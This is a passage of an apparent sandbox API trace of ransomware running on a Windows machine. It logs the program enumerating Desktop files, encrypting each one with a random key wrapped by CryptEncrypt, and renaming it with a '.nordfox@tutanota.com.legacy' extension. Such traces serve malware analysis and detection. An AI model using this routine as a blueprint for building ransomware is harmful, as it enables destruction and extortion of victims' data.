ftLastAccessTime.dwHighDateTime=0x1d4cdb1, ftLastWriteTime.dwLowDateTime=0xfcb87700, ftLastWriteTime.dwHighDateTime=0x1d4cdb1, nFileSizeHigh=0x0, nFileSizeLow=0x7c04, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="XkKhCU sv1QB.mp3", cAlternateFileName="XKKHCU~1.MP3")) returned 1 [0111.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.450] GetLastError () returned 0x0 [0111.450] SetLastError (dwErrCode=0x0) [0111.450] GetLastError () returned 0x0 [0111.450] SetLastError (dwErrCode=0x0) [0111.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0111.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.451] GetLastError () returned 0x0 [0111.452] SetLastError (dwErrCode=0x0) [0111.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0111.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0111.453] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08a11e0, ftCreationTime.dwHighDateTime=0x1d4ccc1, ftLastAccessTime.dwLowDateTime=0xd4ee6340, ftLastAccessTime.dwHighDateTime=0x1d4d55b, ftLastWriteTime.dwLowDateTime=0xd4ee6340, ftLastWriteTime.dwHighDateTime=0x1d4d55b, nFileSizeHigh=0x0, nFileSizeLow=0x2e2d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Y2jBPS-jbkI wKG8.jpg", cAlternateFileName="Y2JBPS~1.JPG")) returned 1 [0111.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0111.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0111.454] GetLastError () returned 0x0 [0111.454] SetLastError (dwErrCode=0x0) [0111.454] GetLastError () returned 0x0 [0111.454] SetLastError (dwErrCode=0x0) [0111.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0111.455] GetLastError () returned 0x0 [0111.455] SetLastError (dwErrCode=0x0) [0111.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e9700 [0111.456] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b5a4b40, ftCreationTime.dwHighDateTime=0x1d4cda5, ftLastAccessTime.dwLowDateTime=0x64baeb80, ftLastAccessTime.dwHighDateTime=0x1d4c9a7, ftLastWriteTime.dwLowDateTime=0x64baeb80, ftLastWriteTime.dwHighDateTime=0x1d4c9a7, nFileSizeHigh=0x0, nFileSizeLow=0x7fd4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Yij3m5BGoqJKSvC8hSbp.png", cAlternateFileName="YIJ3M5~1.PNG")) returned 1 [0111.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.457] GetLastError () returned 0x0 [0111.457] SetLastError (dwErrCode=0x0) [0111.457] GetLastError () returned 0x0 [0111.457] SetLastError (dwErrCode=0x0) [0111.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.458] GetLastError () returned 0x0 [0111.458] SetLastError (dwErrCode=0x0) [0111.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0111.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0111.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e9768 [0111.459] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce489020, ftCreationTime.dwHighDateTime=0x1d4d15e, ftLastAccessTime.dwLowDateTime=0xe69cca80, ftLastAccessTime.dwHighDateTime=0x1d4c5b3, ftLastWriteTime.dwLowDateTime=0xe69cca80, ftLastWriteTime.dwHighDateTime=0x1d4c5b3, nFileSizeHigh=0x0, nFileSizeLow=0x11deb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zPE2FmM3l3F_xcnqR.flv", cAlternateFileName="ZPE2FM~1.FLV")) returned 1 [0111.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0111.459] GetLastError () returned 0x0 [0111.460] SetLastError (dwErrCode=0x0) [0111.460] GetLastError () returned 0x0 [0111.460] SetLastError (dwErrCode=0x0) [0111.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0111.461] GetLastError () returned 0x0 [0111.461] SetLastError (dwErrCode=0x0) [0111.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0111.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e95c8 [0111.462] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d781090, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0xdb8eb7a0, ftLastAccessTime.dwHighDateTime=0x1d4ce61, ftLastWriteTime.dwLowDateTime=0xdb8eb7a0, ftLastWriteTime.dwHighDateTime=0x1d4ce61, nFileSizeHigh=0x0, nFileSizeLow=0x2a1c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_nLSTjj.mp4", cAlternateFileName="")) returned 1 [0111.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0111.462] GetLastError () returned 0x0 [0111.463] SetLastError (dwErrCode=0x0) [0111.463] GetLastError () returned 0x0 [0111.463] SetLastError (dwErrCode=0x0) [0111.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0111.464] GetLastError () returned 0x0 [0111.464] SetLastError (dwErrCode=0x0) [0111.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.464] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d781090, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0xdb8eb7a0, ftLastAccessTime.dwHighDateTime=0x1d4ce61, ftLastWriteTime.dwLowDateTime=0xdb8eb7a0, ftLastWriteTime.dwHighDateTime=0x1d4ce61, nFileSizeHigh=0x0, nFileSizeLow=0x2a1c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_nLSTjj.mp4", cAlternateFileName="")) returned 0 [0111.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0111.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0111.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0111.465] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\_nLSTjj.mp4", dwFileAttributes=0x80) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0111.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0111.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.465] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\_nLSTjj.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\_nlstjj.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.465] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=10780) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2a1c) returned 0x5e97d0 [0111.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2a1c) returned 0x5ec1f8 [0111.466] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e97d0, nNumberOfBytesToRead=0x2a1c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e97d0*, lpNumberOfBytesRead=0x2e1f9bc*=0x2a1c, lpOverlapped=0x0) returned 1 [0111.466] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-10780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.467] WriteFile (in: hFile=0x5e4, lpBuffer=0x5ec1f8*, nNumberOfBytesToWrite=0x2a1c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ec1f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2a1c, lpOverlapped=0x0) returned 1 [0111.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e97d0 | out: hHeap=0x520000) returned 1 [0111.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ec1f8 | out: hHeap=0x520000) returned 1 [0111.467] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2a1c [0111.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.468] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.468] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.468] CloseHandle (hObject=0x5e4) returned 1 [0111.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0111.468] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\_nLSTjj.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\_nlstjj.mp4"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\_nLSTjj.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\_nlstjj.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0111.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0111.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e94f8 [0111.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.470] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.470] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.470] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\zPE2FmM3l3F_xcnqR.flv", dwFileAttributes=0x80) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e9698 [0111.471] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0111.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9698 | out: hHeap=0x520000) returned 1 [0111.471] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\zPE2FmM3l3F_xcnqR.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\zpe2fmm3l3f_xcnqr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.471] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=73195) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11deb) returned 0x5e97d0 [0111.471] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11deb) returned 0x5fb5c8 [0111.471] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e97d0, nNumberOfBytesToRead=0x11deb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e97d0*, lpNumberOfBytesRead=0x2e1f9bc*=0x11deb, lpOverlapped=0x0) returned 1 [0111.488] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-73195, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.488] WriteFile (in: hFile=0x5e4, lpBuffer=0x5fb5c8*, nNumberOfBytesToWrite=0x11deb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fb5c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11deb, lpOverlapped=0x0) returned 1 [0111.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e97d0 | out: hHeap=0x520000) returned 1 [0111.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fb5c8 | out: hHeap=0x520000) returned 1 [0111.490] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11deb [0111.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.491] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.491] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.491] CloseHandle (hObject=0x5e4) returned 1 [0111.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.491] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\zPE2FmM3l3F_xcnqR.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\zpe2fmm3l3f_xcnqr.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\zPE2FmM3l3F_xcnqR.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\zpe2fmm3l3f_xcnqr.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0111.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e94f8 | out: hHeap=0x520000) returned 1 [0111.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e95c8 | out: hHeap=0x520000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e9630 [0111.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0111.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0111.501] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0111.501] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0111.501] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\Yij3m5BGoqJKSvC8hSbp.png", dwFileAttributes=0x80) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e95c8 [0111.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0111.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e95c8 | out: hHeap=0x520000) returned 1 [0111.503] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\Yij3m5BGoqJKSvC8hSbp.png" (normalized: "c:\\users\\fd1hvy\\desktop\\yij3m5bgoqjksvc8hsbp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.503] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=32724) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7fd4) returned 0x5e97d0 [0111.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7fd4) returned 0x5f17b0 [0111.504] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e97d0, nNumberOfBytesToRead=0x7fd4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e97d0*, lpNumberOfBytesRead=0x2e1f9bc*=0x7fd4, lpOverlapped=0x0) returned 1 [0111.507] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-32724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.507] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f17b0*, nNumberOfBytesToWrite=0x7fd4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f17b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7fd4, lpOverlapped=0x0) returned 1 [0111.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e97d0 | out: hHeap=0x520000) returned 1 [0111.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f17b0 | out: hHeap=0x520000) returned 1 [0111.507] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7fd4 [0111.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.508] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.508] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.508] CloseHandle (hObject=0x5e4) returned 1 [0111.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0111.508] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\Yij3m5BGoqJKSvC8hSbp.png" (normalized: "c:\\users\\fd1hvy\\desktop\\yij3m5bgoqjksvc8hsbp.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\Yij3m5BGoqJKSvC8hSbp.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\yij3m5bgoqjksvc8hsbp.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e878 | out: hHeap=0x520000) returned 1 [0111.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9630 | out: hHeap=0x520000) returned 1 [0111.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9768 | out: hHeap=0x520000) returned 1 [0111.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e9768 [0111.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0111.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0111.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\Y2jBPS-jbkI wKG8.jpg", dwFileAttributes=0x80) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5e9698 [0111.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0111.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9698 | out: hHeap=0x520000) returned 1 [0111.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\Y2jBPS-jbkI wKG8.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\y2jbps-jbki wkg8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.520] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11821) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2e2d) returned 0x5e97d0 [0111.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2e2d) returned 0x5ec608 [0111.520] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e97d0, nNumberOfBytesToRead=0x2e2d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e97d0*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e2d, lpOverlapped=0x0) returned 1 [0111.521] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-11821, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.521] WriteFile (in: hFile=0x5e4, lpBuffer=0x5ec608*, nNumberOfBytesToWrite=0x2e2d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ec608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e2d, lpOverlapped=0x0) returned 1 [0111.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e97d0 | out: hHeap=0x520000) returned 1 [0111.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ec608 | out: hHeap=0x520000) returned 1 [0111.522] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e2d [0111.522] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.522] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.522] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, 